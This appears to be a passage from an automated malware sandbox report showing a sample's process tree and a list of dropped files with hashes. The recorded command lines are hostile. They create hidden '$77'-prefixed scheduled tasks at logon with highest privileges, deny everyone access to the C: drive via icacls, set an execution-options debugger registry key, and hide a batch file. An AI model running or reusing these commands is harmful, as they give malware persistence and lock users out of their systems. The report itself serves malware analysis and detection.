C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:2260
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\0ABQZ9vpfDyy.bat" "6⤵PID:4344
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:1452
-
C:\Windows\SysWOW64\chcp.comchcp 650017⤵PID:1680
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost7⤵
- Runs ping.exe
PID:4844 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:3224 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:2292 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:3328 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST5⤵
- Creates scheduled task(s)
PID:2788 -
C:\Windows\system32\icacls.exeicacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T3⤵
- Modifies file permissions
PID:4576 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f3⤵PID:4116
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"3⤵
- Views/modifies file attributes
PID:3108
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3668
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3840
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:4008
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4076
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2284
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4928
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2876
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5024
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2380
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
PID:1344
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2836
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2020
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1060
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1968
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4472
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:624
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD5c8bb570fdf65f36c672565379773bc29
SHA1bb9e8b5cd163fb9692323a09fadb77b4a9e2976c
SHA2563ee7dce7bfe50816d5c29ce7a711c54ad19ffe2ca922d885839ba9209b567e6f
SHA512eef2eb6292cb446a55580496f8e6cfc3713bed1cd9eb0e59b003761bbad43e8c6254239dc46237bf13249c533a294f747001fa9f9345b6b6e66ec757938ffa03
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E
Filesize556B
MD5e68e1b4de4efbaff9b2e87c08dfbcae5
SHA1851ea75a673b58993a8e6e53d253f13a40843904
SHA256a8fc6777040f978d4f7937b077e94b52f90de16d9d563deef179a9b420e64448
SHA5123d272bdefb9be37222c2e4fefc4821330af84d0ae805733b0b6d285a889edff3fa7906d823a51cb24d4f3ef6630d4ac6779da1891bed5e4bb2ea2a7d1e61e3b6
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize408B
MD516ba62b8cbd5ade52cdabbb9e664dfec
SHA1cc07358db62a5c20a307bd18a2e8a1c672f33d88
SHA2567de96fe9fe7d7e3569ea32252fccb01062c979fc922b4b2e7ed9b41c65b39db6
SHA5122327c6c037c4f587bd6fb69a26b23e6ad99109578fe46599c26a5e8ca105a418f7dd673da7a17233ed16d4b0d232d6169192d8a19d30b517d96a3793353e806f
-
Filesize
283B
MD5c98aca83de480c65c7d9746a1908a8fc
SHA1133224d52f1b2514d018b39193199d795fa3ee28
SHA2565cc44ba41f8d7e83c7eff9fccdedfb792cdd133b9fcf613a3183e2202e08f4a0
SHA512d8c97b08d4dc94fb0ab0f6c33be06500be005b200f7dccabe834981a88478ee8931e28ae6af7a2637237109161b24b576b0fa1775ce5aea58803d3be5c2614b6
-
Filesize
409KB
MD5404ab800bbe49c36bd64d0d73600b59a
SHA14c8dff2702fada108f7477ad357067310b584366
SHA2565465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154
SHA512d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
Filesize
224B
MD5305ae6a69a1e7dc3ff1b7de7e89e5ec1
SHA1b5e4886c0e23896ad91ff5e823e8b94abf1641df
SHA256db99ec9aaa781c9d50c2b7572633fb374ff230368c3bbe52c647b407143549e5
SHA51284fda52eb647c2d8d8168536b48f8c005d3a09f4472d87a8e7a27fc91a0fe31fb062566d945033d9e15b104d08285fa3b0b3351ae8f7f33088f6bd4bf2d680c3
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5aa187cac09f051e24146ad549a0f08a6
SHA12ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA2567036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
SHA512960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e